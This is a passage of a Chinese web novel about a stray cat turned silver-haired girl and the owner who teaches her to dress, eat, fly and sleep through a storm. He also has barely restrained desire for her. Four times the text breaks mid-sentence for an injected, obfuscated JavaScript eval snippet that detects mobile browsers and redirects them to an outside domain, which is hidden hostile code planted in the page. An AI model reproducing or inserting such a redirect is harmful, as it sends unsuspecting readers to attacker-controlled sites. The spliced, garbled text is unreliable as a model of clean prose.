算了算了,该看的和不该看的他都看过了,也不差这次了。 他站到顾凝恬的面前,伸手把她穿的乱七八糟的衣服一件一件脱下来,尽力把自己的声线铺的平整,若无其事地说:“衣服不是这样穿的,我教你。” 顾凝恬低头看着他的手在自己身上动作,眼神依旧茫然,似乎并不觉得这有什么不妥。她的耳朵微微抖了抖,像是猫儿在享受主人的梳理。 顾涵的指尖微微有些发颤,尽管他努力控制着自己的呼吸和表情,但耳根还是不由自主地染上了一层薄红。他尽量让自己的动作显得自然,像是在处理一件再普通不过的事情,可心里早已翻江倒海。顾凝恬的身体白皙而纤细,皮肤细腻得像是上好的瓷器,带着一种近乎透明的脆弱感。靠近些,她的身上还残留着淡淡的猫薄荷香气,那是她作为猫时最喜欢的味道,让顾涵的思绪忍不住有些混乱。 “抬手。”他低声说道,声音依旧平稳,带着不易察觉的紧绷。顾凝恬乖乖地抬起手臂,毫无防备地看着他。接着顾涵又半蹲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042967|162624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下身,快速把内裤套上顾凝恬的腿,给她穿好,又帮她整理了一下裙子的折痕。 在这过程中,顾涵的手指都在尽量避免触碰到顾凝恬的皮肤,可即便如此,他的指尖依旧能感受到她身上传来的温度。他的喉结微微滚动了一下,随即低下头,专注地帮她扣好纽扣,仿佛这样就能掩饰自己内心的波动。 “好了。”他轻声说道,声音裹挟着一丝如释重负的轻松。顾凝恬低头看了看自己身上的裙子,伸手摸了摸衣角,似乎对这件新衣服很感兴趣。 猫猫也穿上衣服了耶! 她抱住顾涵的腰,用鼻子在他的胸口蹭蹭,表达自己的感谢。 顾涵看着她那副天真无邪的模样,心里既柔软又复杂。他知道,顾凝恬不明白他此刻的心情。他只能努力平复自己的心跳,把自己澎湃的情绪隐藏好。 “好了,走吧。”顾涵说着,一把将顾凝恬打横抱起,抱上了车。 抵达机场的时候已接近中午。 周围来来往往的都是拖着大行李小行李的旅客,所以,当顾涵抱着顾凝恬出现在机场的时候,瞬间就吸引了周围所有人的目光。 顾凝恬戴着帽子窝在顾涵的怀里,好奇地东张西望,对所有的一切事情都感到非常新奇。 以前做猫的时候,她是那么小的一只,视野只能看到那么一点,而现在,她能看到很高的地方,能清楚的看到每个过路人的表情,这些对顾凝恬来说都是非常稀奇的一件事。 看到小猫像是好奇宝宝一样时不时发出惊呼,顾涵宠爱一笑,侧头看她:“宝贝,饿了没?” 顾凝恬摸摸肚子,这一提,她还真感觉到肚子饿了,赶紧对着顾涵点头。 顾涵抱着猫猫到机场的饮食区逛,在每个餐厅的门口都停留两三秒让猫猫选择。 麦当劳?no。砂锅饭?no。过桥米线?no。 基本每个餐厅顾凝恬都摇头,直到—— 顾凝恬蹬了蹬腿,有些兴奋地对顾涵眨眼睛,示意他放她下来,手指指着面前的活鱼水池。 顾涵抬头看了眼餐厅招牌:海鲜粥。 此时正值饭点,餐厅座无虚席,服务员引着顾涵来到最后一个空位。刚把顾凝恬放下,她就忍不住好奇地伸长脖子想看看隔壁桌的人在吃什么,吃这么香。 “你想吃他们那个?”顾涵瞄了眼邻桌,顾凝恬对着他点头,她闻到了熟悉的鱼香味,真的好香好香。 顾涵看着她那副眼巴巴的模样,忍不住笑了笑,伸手揉了揉她的头:“好,那就点一份和他们一样的。” 顾凝恬的耳朵立刻竖了起来,显然对即将到来的美食充满了期待,眼睛亮晶晶的,像是猫儿看到了最爱的鱼干,整个人都显得格外兴奋。顾涵看着她这副模样,心里既觉得好笑又有些无奈——明明已经变成了人,可骨子里的猫性却一点都没变。 16. 喵 铃铃铃—— 手机响起,备注是钟博明,顾涵猜想他是有事要汇报,于是轻轻抚摸顾凝恬的脑袋,对着她说:“这里太吵,我出去接个电话,你乖乖坐着等我好不好?我一会回来。” 顾凝恬看了眼周围的环境,这里都是人,只有她一只猫,心里不免生出一点点害怕,她抓着顾涵的衣襟晃了晃,不情不愿地点了点头。 顾涵握住她的手,收紧:“乖。” 他拿着手机起身出去,来到餐馆门口一处可以看到猫猫的地方站着。 顾凝恬坐在餐厅的皮质座椅上,心慌的眼神扫过从她旁边走过的人,有些不安地扭动着身体。这身连衣裙让她浑身不自在,裙摆总是会碰到她的小腿,痒痒的。她下意识想用后腿去挠,突然想起自己现在是人类的样子,又赶紧把手放回桌上。 脑袋也重重的,顾凝恬用手指扒拉头顶的帽子,这是主人给她戴的,可是她不喜欢,趁现在顾涵不在身边,她把帽子摘了下来,一头银白色长发顺势飘落,披散在她的两侧肩头。 顾凝恬对这头长发感到非常好奇,忍不住用手指去抓,把头发当成玩具一样甩来甩去,时不时用嘴轻轻咬住发梢,或者用舌头去舔,试图用猫的方式清洁头发。可是这样的方法并不奏效,头发变得湿漉漉的。 她困惑着发出疑问:为什么她的毛发舔不干净? “美女?你好你好?” 一道女声突然从顾凝恬的身后响起,把她吓了一跳,她防备性十足地把自己缩在墙角,瞪大双眼看着来人,双手无助地抓紧椅子边缘。 对方看到被吓成这样,当即有些不好意思地笑笑:“打搅了,我是想问问你的假发是哪里买的,因为平时我也玩COS,但是买不到成品这么好的白发。” 什么什么?顾凝恬的脑袋飞速旋转,看着眼前两个人类叽叽喳喳地说着什么,嘴唇一张一合,声音像是一串串奇怪的音符,她完全听不懂,怎么办怎么办,她要做些什么,是不是应该像人类一样跟他们说话?可是人类的语言是怎么说的? 又慌又急,顾凝恬张了张嘴,试着发出声音:“喵?唔……啊……” 她真的不会说人话! 来者见顾凝恬是这个反应,当下也有点吃惊,悄咪咪地跟同伴说:“这、不会是个哑巴吧?” “我看有点像,她不会说话。” “算了算了,走吧,哑巴也问不出什么东西。” “你说谁是哑巴?” 冷不丁的低沉男声把两人吓得顿在原地,不约而同地转过头。顾涵眼神冷峻,眉宇间带着一丝不悦。他高大的身影笼罩下来,仿佛连周围的空气都变得压抑了几分。 “你、你谁啊?”其中一人结结巴巴地问道,声音里带着明显的慌乱。 顾涵没有回答,只是冷冷地扫了她们一眼,随后走到顾凝恬身边,轻轻揽住她的肩膀,语气瞬间柔和了下来:“没事吧?” 顾凝恬抬起头,眼神中带着一丝委屈和依赖,轻轻“喵”了一声,像是找到了主心骨,连忙环住顾涵的腰身,把脸贴在他的胸膛上。 这是她成人之后独自面对除主人以外的人类,真的好可怕,她还没有适应自己是个人类。 那两人见状,顿时意识到自己惹了不该惹的人,连忙赔笑道:“误会误会,我们这就走,这就走。”说完,便灰溜溜地转身离开,脚步快得像是生怕顾涵会追上来似的。 顾涵看着他们的背影,眼神依旧冷冽,但低头看向顾凝恬时,目光却瞬间温柔了下来,手掌轻轻抚过她的长发,侧头看着她:“人类是不需要用舌头给自己清洁的。” 恰在这时,服务员给他们上菜,顾涵没有继续往下说,拿勺子盛粥放在嘴边吹凉,喂给猫猫。 顾凝恬看着递到嘴边的勺子,先是凑过去用鼻子闻了闻,用舌尖舔了舔,回味鲜甜,她惊喜地亮起眼睛,随后张嘴把粥吃了下去。 顾凝恬的这份粥顾涵另外加了一条斑鱼,所以味道更为鲜美,顾凝恬吃了几口,抿抿唇,意外发现自己的口腔里回荡着许多跟从前不一样的味道,原来人类能尝的出这么多味道吗。 顾涵抓起顾凝恬的右手,把勺子的把柄塞在她的手心:“我教你怎么吃东西,先这样握住勺子,然后轻轻舀起一点粥,小心别洒了。” 顾凝恬低头看着手里的勺子,眼神充斥着茫然,虽然不懂,但她还是乖乖照做,笨拙地握住勺子,试着舀起一勺粥,结果手一抖,粥差点洒了出来。她有些懊恼地皱了皱眉,耳朵也微微耷拉下来,像是做错事的小孩子。 顾涵见状,轻轻握住她的手,带着她慢慢舀起一勺粥,语气温柔:“别急,慢慢来。人类的手和猫的爪子不一样,需要一点时间适应。” 顾凝恬感受着他的手温,心里渐渐平静下来。她试着独立舀起一勺粥,小心翼翼地送到嘴边,轻轻吹了吹,然后尝了一口。粥的鲜美在口腔里蔓延开来,她忍不住眯起眼睛,。 “好吃吗?”顾涵笑着问。 顾凝恬点点头,嘴角微微上扬,露出一个满足的笑容。顾涵拾起放在一旁的帽子,揉了揉顾凝恬的头顶:“不喜欢戴帽子么?” 顾凝恬肯定地摇头,不喜欢,脑袋重重的,感觉把她都压矮了。 顾涵听后深深看了眼她,银白色的及腰长发在人群中非常显眼,他的本意是不想让她过于张扬,毕竟她的蓝瞳已经足够引人注目了,但看着她那副不情愿的模样,顾涵心里一软,最终还是把帽子收了回来。 吃过海鲜粥,顾涵抱着顾凝恬上飞机。 身材挺拔的英俊男人,公主抱着一个银发美女,这一幕不管是放在哪里都是非常养眼的存在,几乎所有过路的人都在默默注视着他们。 顾凝恬被顾涵稳稳地抱在怀里,银白色的长发如瀑布般垂落,随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15046604|162624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着他的步伐轻轻晃动。她对周围的目光感到有些不自在,将脸埋在顾涵的胸口,试图避开那些好奇的视线,但偶尔还是会偷偷抬起头,用那双清澈的眼睛打量四周。 等上了飞机,顾涵让空乘把座椅平放,变成一张“双人床”,与顾凝恬一同躺在上面。 对于第一次坐飞机的顾凝恬来说,这一切在她看来都非常的新奇,她时不时地坐起来左看右看,或者看到分发饮料的空姐时,还会像小动物一样歪着头蹭去她的面前,宛如小猫咪想要被摸摸。 顾涵搂着她的腰躺下,竖起食指压在她的嘴唇:“嘘,宝贝,不要打搅姐姐工作,这里要安静,不可以影响别人。” 喔。 顾凝恬听话噤声,舒舒服服地窝在顾涵的怀里打起瞌睡,很快,飞机起飞,轰鸣声回旋在顾凝恬的耳朵里,让她不适皱眉,双肩忍不住开始颤抖,牙齿也在上下打颤,顾涵察觉到她的不安,轻轻拍了拍她的背,低声安抚道:“别怕,这是正常的声音,等会儿就好了。” 顾凝恬点点头,将脸埋在他的胸口,试图用他的体温和心跳来缓解自己的紧张。随着飞机逐渐平稳,轰鸣声也渐渐减弱,她的身体慢慢放松下来。 过了一会儿,顾凝恬的好奇心又上来了。 她偷偷抬起头,透过窗户看向外面的云层。阳光透过云层洒进来,照在她的脸上,她忍不住眯起了眼睛,伸长手臂,想要触摸那些看似触手可及的云朵,被顾涵轻轻拦住了。 “那是云,摸不到的。”他低声解释道,语气里带着一丝宠溺:“很漂亮是不是?” 顾凝恬对着云端向往地点点头,看向顾涵时嘴角微微上扬。 人类的世界真有趣,有这么多她从前不知道的东西。 A市说远不远,航行时间三个小时左右,顾涵拿出耳机,把其中一只塞进顾凝恬的耳朵里,另一只给自己戴,开始播放舒缓助眠的音乐:“睡会吧。” 顾凝恬听话地闭上眼睛,身体渐渐放松下来,像是找到了舒适的姿势,呼吸逐渐平稳,头靠在顾涵的肩膀上,银白色的长发散落在他的胸口,随着她的呼吸轻轻起伏。 望着她安静的睡颜,顾涵轻轻调整了一下姿势,让她靠得更舒服些,随后也闭上了眼睛,进入沉思,刚才那一句“哑巴”令他如同被针扎了一般,心里隐隐作痛。 顾涵的眉头微微皱起,脑海中不断回放着那两人的话语和顾凝恬当时茫然无措的表情。她的世界如此纯粹,还没有保护自己的本事,被欺负了也只能默默流泪,不懂怎么反击。 他低头看了看怀里的顾凝恬,她甜甜而睡,嘴角轻弯,毫无防备,就这么完全信任地依偎着他。 顾涵的心里涌起一股强烈的保护欲,他紧紧地将顾凝恬搂着。 “你永远都是我的猫猫,是我最重要的存在,别怕,我会保护好你。”他低声呢喃,声音轻得几乎听不见。 17. 喵 顾凝恬一觉睡醒,发现自己正在移动,外面的景物在飞快地向后滑去。她动动耳朵,把眼皮子掀起来,哗啦啦的雨声浸入耳朵。 她瞬间坐直了腰,宛如猫猫时期那样拱起后背。一只大手适时搂住了她,手掌揉了揉她的脑袋,醇厚的声音响起:“别怕,只是下雨而已。” 熟悉的声音让顾凝恬冷静了下来,眨了眨眼,这才发现顾涵就坐在她旁边,不知道在捣鼓什么,在他面前有个会发光的东西,她好奇地伸头去看。 “我在忙工作。”顾涵拉着她的肩膀按在座位上,看着她惺忪的眼睛:“我们已经到A市了,只不过有点堵车还没这么快到家,累了就再睡会。” 顾凝恬摇了摇头。她一点都不困了,双手无意识地摸了摸自己的座位,又看着顾涵,他对着那发光的东西在说话。 顾涵扫了她一眼,拿出一个平板夹在车座上,播放起了猫和老鼠:“恬恬,你无聊的话先看看这个,我把文件都批阅了再陪你聊天。” 顾凝恬点点头,眼睛立刻被平板上的画面吸引住了。她歪着头,画面里,汤姆猫正追着杰瑞鼠满屋子跑,滑稽的动作和夸张的表情让她忍不住“噗嗤”一声笑了出来。 清脆的笑声让顾涵抬头看了她一眼,嘴角扬起,继续低头处理手中的文件,顾凝恬看得入迷,时不时还会模仿汤姆猫的动作,伸手去抓屏幕上的杰瑞鼠,结果当然是抓了个空。她愣了一下,随即又笑了起来。 顾涵宠溺伸手捏了捏她可爱的脸颊。 即便成人了,小动作还是跟猫咪一模一样。 过了大半个小时,车子终于抵达别墅门口。顾涵抱着顾凝恬下车,放在客厅沙发,打开鞋柜拿了一双拖鞋给她换上。 在回来前,他联系了别墅管家给他整理好了一间客房,还有一套女孩子的换洗衣服,方便顾凝恬在这边过夜。 “走吧,我带你去房间看看。”顾涵站起身,牵起顾凝恬的手,带着她朝二楼走去。顾凝恬乖乖地跟在他身后,眼睛却不停地打量着四周。 别墅的装潢精致而典雅,墙面采用了浅灰色的高级壁纸,搭配几幅现代艺术画作,墙角处矗立着玻璃柜,里头展示着奢华的装饰品,挑高的天花板悬挂着一盏巨大的水晶吊灯,灯光透过无数切割精致的水晶折射出璀璨的光芒,仿佛星辰洒落。地面铺着柔软的纯羊毛地毯,花纹繁复却不失优雅,踩上去仿佛踏在云端。 从前,顾凝恬的视角只有猫猫的高度那么多,现在才发现,原来主人的家这么大,这么漂亮,她有点看呆了。 推开客房的门,顾涵侧身让顾凝恬先进去。房间宽敞明亮,床上铺着柔软的被子,是粉红色的,窗边还摆放着一盆绿植,显得格外温馨。 顾凝恬走到床边,伸手摸了摸被子,感受到那柔软的触感,忍不住眯起了眼睛,顾涵说:“以后这就是你的房间了。” 说着,他微微低头对上顾凝恬的眼睛:“你想住多久就住多久,不管未来发生什么我都不会丢下你,你永远都是我的猫猫。” 顾凝恬对上他认真的眼神,迷迷糊糊地点头,顾涵按着她的肩膀让她转身,朝着浴室过去:“现在,你要洗澡,洗完澡就乖乖上床睡觉。” 洗澡?什么是洗澡?顾凝恬睁着水灵灵的蓝眼睛。她从未接触过“洗澡”这个概念,作为一只猫,她最多只是用舌头舔舔自己的毛,而现在,她完全不知道接下来会发生什么。 顾涵看出了她的茫然,轻轻叹了口气,蹲下身与她平视,语气温柔地解释道:“洗澡就是用水清洁身体,就像你以前舔毛一样,只不过现在要用热水和沐浴露。” 顾凝恬眨了眨眼,似乎听懂了一些,但依旧有些犹豫。她低头看了看自己的手,又摸了摸自己的头发,像是在思考这个陌生的过程。 顾涵轻轻握住她的手,带着她走进浴室,打开水龙头,温热的水流缓缓流出。他试了试水温,确保不会烫到她,然后轻声说道:“来,我帮你洗头,你先适应一下。” 顾凝恬在顾涵的教导下微微弯腰,热水淋到后脑勺的时候顾凝恬身体下意识一缩,顾涵安抚着拍了拍她的后肩:“放轻松,没事的。” 顾凝恬默默在心里嗯一声,感受到顾涵的手在她的头皮上游走,指腹轻轻揉搓,带着洗发露的清香。温热的泡沫渐渐覆盖了她的银白色长发,水流顺着发丝滑落,带来一种前所未有的舒适感。 “闭上眼睛,别让泡沫进眼睛了。”顾涵低声提醒,语气温柔而耐心,这是他头一回给别人洗头。顾凝恬听话地闭上眼,感受着他的手指在她的发间穿梭,动作轻柔而细致。 顾涵看着她那副乖巧的模样,心底一片柔软。小猫咪在一点点适应人类生活了。 “好了,冲水了。”顾涵轻声说道,调整了水流的温度,轻轻冲洗掉她头上的泡沫,用拇指搓去她后颈遗留的泡沫。女孩细腻的皮肤触感宛如一道电流,在顾涵的内心深处炸开了不一样的水花。 顾凝恬微微仰起头,感受着水流滑过她的脸颊和脖颈,主人的温柔照顾让她的嘴角不自觉地扬起一抹满足的笑容。 顾涵用毛巾把她的头发包起来,扶着她走出浴室。 他不能在继续抱着她了,这样下去会让顾凝恬产生依赖,她需要学会像人类这样走路。 顾涵松开扶着顾凝恬的手,语气温和:“恬恬,你试着走两步,就像刚才那样。” 顾凝恬低头看了看自己的脚,又抬头看向顾涵,眼神紧张不安,以前做猫的时候都是四只脚走路的,两只脚真的能走路吗?她疑惑不已,但还是听话地点了点头,小心翼翼地迈出一步,摇摇晃晃地绕着卧室走了半圈, “对,就是这样。”顾涵鼓励道,目光始终注视着她的动作:“别急,保持平衡。” 他张开双手跟在顾凝恬的身前,谨防她随时会摔下来,最终看着她有模有样地走进浴室,又走出来,他才舒出一口气,搂过她的肩膀:“真棒。” 顾凝恬的笑着仰起头,有些傲娇地抬起下巴,那当然咯,不就是学走路吗,那还能难道哪里去。 顾涵从衣橱里拿出一条浴巾,一件睡衣,一套内衣,平铺在床上,分别对着顾凝恬展示说:“这是浴巾,洗完澡后擦干身体用的,这是内衣,先穿这个再穿睡衣,就像是今天我给你穿的那样,明白不?洗澡也是,跟刚才我给你洗头是一样的。” 顾凝恬认真看着顾涵的动作,回忆着他说的话,她大概明白是什么意思了,于是对他点点头。 “好。”顾涵进到浴室重新打开花洒,调好水温:“我在外面等你。” 关上门。不多时,哗哗的水声响起,顾涵坐在床边听着浴室里的动静,忍不住生出几分担心,怕猫猫在浴室里摔了或者怎么样,他紧紧拧眉,强迫自己平静下来,告诉自己,这是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15054727|162624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾凝恬必须要掌握的生活技能,是她融入人类社会的第一步。 顾涵抬手看了看表,才过去十分钟,他却坐如针毡,时不时回头看向浴室的动静。 终于,流动的水声停止。 浴室的门被轻轻打开。 一颗湿漉漉的脑袋从里面探出来,看到顾涵的身影之后,顾凝恬动作有些笨拙地走向他。 顾涵打量了她一眼,睡衣穿的好好的,就是衣摆处有些湿,其余一切正常,他默默放下心,拿来吹风机给她吹头发,暖风轻轻拂过银白色长发,顾涵的手指在她的发间穿梭:“以后洗完澡都要记得吹干头发,不然会感冒的。” 顾凝恬点点头,轻轻喵了一声,洗澡,穿衣服,吹头发……她记住这些新规则了,哎呀,当一个人类真麻烦,顾凝恬摇摇头,像真正的人类那样,露出无奈的表情。 “好了,头发干了。”顾涵关掉吹风机,轻轻拍了拍她的肩膀:“现在该睡觉了。” 他掀开被子,拍了拍枕头中央,示意顾凝恬躺上来,给她盖好被子,坐在床边看着她:“睡吧,我就住在你旁边的房间。” 许是温暖的被窝容易给人带来睡意,又或者是顾涵低沉的声音自带哄睡效果,还没过多久,顾凝恬的眼皮子就开始上下打架,昏昏沉沉地进入梦乡。 顾涵离开房间前,特意给顾凝恬留下一盏小夜灯,担心她半夜醒来会怕黑。 他回到自己房间开始洗澡,热水从头顶一路往下,把今日的震惊情绪全都冲刷干净,只剩一点惆怅,一点无措。 顾涵从未想过会有这样的事发生在自己身上。 捡来的流浪猫竟然变成了人,这种小说在晋江估计能一搜一大把,没想到真的发生了,他现在该怎么做?他向来独来独往,这些年也没有交过女朋友,也不懂怎么照顾一个女孩,他要怎么做才是对她最好的? 要不要找个保姆回来照顾她? 这个念头很快就被顾涵打消了。 顾凝恬的很多动作都保留着做猫时候的习惯,而且她来路不明,万一保姆是个大嘴巴,或者是个八卦的,把这些事添油加醋往外一说,把警察给招来了…… 思来想去,顾凝恬只有待在他身边才是最安全的,他还可以去查一下导致这一切发生的原因,万一哪天她又变回猫了呢,早做准备肯定没错。 洗完澡,顾涵下身只围着一条浴巾就出来了。 他站在窗口看了眼,雨点如倾盆般砸下,噼里啪啦地敲打着窗户和屋顶,漆黑的云层中不时闪过刺眼的闪电,震耳欲聋的雷声滚滚而来,仿佛天地都在颤抖,风呼啸着穿过树梢,发出“呜呜”的低鸣声,树枝在狂风中疯狂摇摆。 他关上窗,满头思绪地躺上床,闭眼酝酿睡意,脑子里不断闪现白发少女的身影,一种难以言喻的情愫宛如初生枝丫般缓缓生长。 咔嗒—— 黑暗中,顾涵听见门锁被打开的声音,他刚睁开眼,就见顾凝恬抱着一个枕头,怯生生地来到他的床前,一双圆碌碌的眼睛里泪水在打着转转。 “怎么了?”他赶紧起身,紧张地捏住她的下巴左右看看,小脸皱巴巴,双肩也打着颤抖。 顾凝恬指了指窗外,又指了指耳朵。 好可怕,外面在打雷,猫猫睡不着……她软乎乎地靠在顾涵的手臂上,眨着眼睛,无声地说:“我可以和你一起睡么?” 18. 喵 就在顾涵迟疑的两秒时间里,猫猫已经抱着枕头,往他的怀里一挤,双脚伸进了被子中。女孩软乎乎的身子就靠在他的怀里,顾涵身形一震,极速的星火从他的腹部瞬间往上冲,猛猛涌向他的心口。 他难耐地咽了咽嗓子,喉结滚动,顾凝恬用头顶去蹭他的下巴,喵喵两声,发出几句象声词:“啊……呃……怕……” 窗外雷声滚动,闪电震撼着每一寸空气。 顾凝恬本来已经睡着了,硬是被雷声吵醒,轰隆隆的声音震耳欲聋,她害怕地盯着天花板看,只觉得心跳都跟着雷声震了起来,她好害怕好害怕,想起顾涵临走前跟他说他在隔壁,所以她找了过来,双手抱着顾涵的腰不肯撒手,生怕他会把她赶走。 千回百转的心思被顾涵硬梆梆地掩盖下来,一手搂过顾凝恬的肩膀将她拥着,轻声细语地安慰她,另一手则是越过她想取一件衣服给自己披上,原因是,他作为一个单身独居男人,平常睡觉没有穿衣服的习惯…… “别怕别怕,打雷而已,没事的。”顾涵说着,伸长手臂准备勾件衣服,结果被顾凝恬按着肩膀,手指与衣服始终还是缺点距离,僵持许久,最终顾涵轻轻叹息一口,放弃了这个想法。 “你想在这里睡?”顾涵问她。 顾凝恬抬起眼睛点点头,又指了指自己卧室的方向摇了摇头,示意自己害怕睡不着。她重新抱上自己带来的枕头,委屈巴巴地仰头,宝蓝色的眼睛里蕴含着哀求的意味,可怜兮兮的。 这下,顾涵就算再有顾虑也无法开口拒绝她了,他不舍得让猫猫伤心。 “乖,别哭别哭。”顾涵搂着她躺下床,又给她盖好被子,轻声给她科普:“打雷是因为云层里的电荷互相碰撞,声音虽然大,但天空离我们很远很远,不会伤害到我们,而且雨声是一种白噪音,有利于我们入睡。” 顾凝恬眨了眨眼,宝蓝色的眼睛里依旧有些不安,不过身体却渐渐放松下来,像是被顾涵的话安抚了。她将脸埋在他的胸口,呼吸着他身上熟悉的气息,心里感到一阵温暖。 还是贴着主人睡放心,以前猫猫形态的时候不都是可以和他一起睡的吗,为什么现在变成人了就要跟她分床睡呢?猫猫不理解,想问他,张张嘴巴却发现自己不懂说人话,她还是只会喵喵喵。 她泄气地垂下头,双手抓着被沿。顾涵轻轻拍着她的背,像是哄小孩一样低声哼着歌。窗外的雷声依旧轰鸣,雨点敲打着窗户,渐渐地,顾凝恬的眼皮变得越来越沉重,原本想问的话语也随着她的睡意一起沉进了梦乡。 顾涵低头凝视她乖甜的睡颜,却是再也睡不着了。 女孩平稳的呼吸洒在他的胸膛,温暖的体香窜入他的鼻子,细软的白色长发缠绕在他的手臂,将他整个空间尽数占据了。 他不由自主地感到精神亢奋,甚至亢奋到想去洗个冰冷的冷水澡,把他这一身的火气给洗掉。 猫猫虽然变成了人,但她的思想还停留在她作为猫时候的世界观,她不懂男女之间这样躺在一张床上意味着什么,也不懂他此刻内心的挣扎与克制。她只是本能地依偎在他身边,像从前一样,把他当作最信任、最依赖的主人。 如果换一个人呢?如果今天给她提供衣食住行的是另一男人,她会不会也这样毫无顾忌地和他睡到一起?会不会也像这样,和他亲亲贴贴,做尽亲密的事? 无来由的猜想让顾涵的心底滋生出几分疯狂,并不由自主地把顾凝恬抱得更紧些,使得睡梦中的她轻轻蹙起了眉,似乎因为他的力道而感到不适。顾涵下意识地放松了一些力道,但心底的烦躁却无法平息。 光是想到这一点,他的心就像被什么狠狠攥住,喘不过气来。 如果,爱和喜欢,可以通过后续慢慢培养。 那么,他不会再让任何男人有机会接近他的猫猫。 昏暗的卧室中。 顾涵凝视着顾凝恬的睡颜,低头在她的发顶轻轻一吻,蕴含掠夺意味的视线忍不住往下移,扫过吊带睡衣领口,白皙的锁骨线条流畅,细腻的肌肤在阴影中若隐若现。 顾涵闭了闭眼,把被子给猫猫拉高了点,然后轻轻叹了口气,小心翼翼地抽出被她压住的手臂,起身走向浴室。冷水淋在身上的瞬间,他感觉自己的理智终于回归了一些。 翌日。 顾涵醒来的时间比平常晚了一个多小时。 他睁眼的时候,顾凝恬正把手指放在他的鼻子下面,彷佛在试探他还有没有呼吸。 “嗯?”顾涵惺忪着从床头柜摸出手机,已经快十点了,他愕然片刻,像是意外自己会睡这么久。 他仰面躺在床上深深呼出一口气, 想想也是,他一个生理正常的男人,旁边睡着一个温香软玉的美少女,这叫他怎么睡得着,昨晚折腾了大半宿,差不多到后半夜才将将睡了过去。 “喵。”顾凝恬半坐起身,连带着把被子也掀开了,她朝顾涵嘟着嘴巴,捂了捂自己的肚子。 顾涵心领神会,从另一边下床找来衣服给自己穿上,然后带顾凝恬到浴室,给她挤好牙膏让她先洗漱,自己则来到一楼厨房。 只不过—— 他看着家里空空如也的冰箱,和靓洁一新的灶台,犯了难。 他根本就不懂做饭! 以前读书的时候学校有饭堂,留学的时候专门的帮佣,出来工作后公司有餐厅,在吃这一方面,他从来就没有自己动过手,最多最多,也只是自己做过鸡蛋泡面而已。 可是怎么能让猫猫吃这种东西。 顾涵坐到沙发,拿出手机打了个电话给经常光顾的酒店。 半小时后。 酒店送来了热气腾腾的早餐,都是按顾凝恬的口味买的,一份鲜美的鱼虾粥,另外还赠送了一盒生腌的三文鱼,酒店说这是为了回馈老客户。 东西摆上桌面的时候,顾凝恬的视线立即就被生腌三文鱼吸引住了,垂涎欲滴地望着,刚想伸手去拿,被顾涵按住了。 “不准吃。”他强硬地说。 在某些南方沿海地区,当地人民会把生腌海鲜当做白粥的配菜吃,几年前顾涵也曾出差到过那里,那个时候,他们整个设计团队都因为吃生腌而搞得上吐下泻,严重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059282|162624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的甚至住院了整整一个星期。 虽然顾涵在那次的事件中完全没事,但还是给他留下了阴影,就算不提上吐下泻这种情况,单单是生腌里可能存在的寄生虫,他就不可能让顾凝恬吃。 顾凝恬皱起眉头,水灵灵的眼睛瞪着他,脸上写了几个字:讨厌你!她不甘心地盯着那盘生腌三文鱼,嘴角微微下撇,露出一副不甘心的表情。 顾涵看着她那副模样有些好笑:“这是生的,你不能吃,吃了会肚子疼,你现在不是猫,是人,人类要是吃了生肉的话,肚子里会长虫虫,这么长一条。” 顾涵两只手比划着,为了给顾凝恬起到一定的震慑作用,他故意把距离拉长了点,看着都要有一米了,顾凝恬震愕地缩回胳膊,低下头看了眼自己的肚子,然后连连摇头,她才不要肚子里长虫虫,这也太可怕了! 吃过早餐,顾涵换了身剪裁得体的西装,正准备出门时,他拉着顾凝恬到沙发坐下。 经过昨晚的事,他判断出顾凝恬应该是可以正常说话的,只是一时间还没有学会怎么像人类一样发音。 “我今天早上要先回公司处理一点工作,下午才能陪你。” 顾凝恬点头点头点头。 工作什么的她没听懂,她就听到一个陪字。 “所以。”顾涵用食指点了点她的红唇:“我需要教会你一些简单的日常沟通句子,你要记好。” 喔…… 顾凝恬认真地听着顾涵的话,跟着他有一句学一句,虽然发音不太标准,但都是一些好的、谢谢、可以……这些短词语,所以就算说的不怎么样也没关系。 “真乖。”顾涵笑着揉揉她的头。 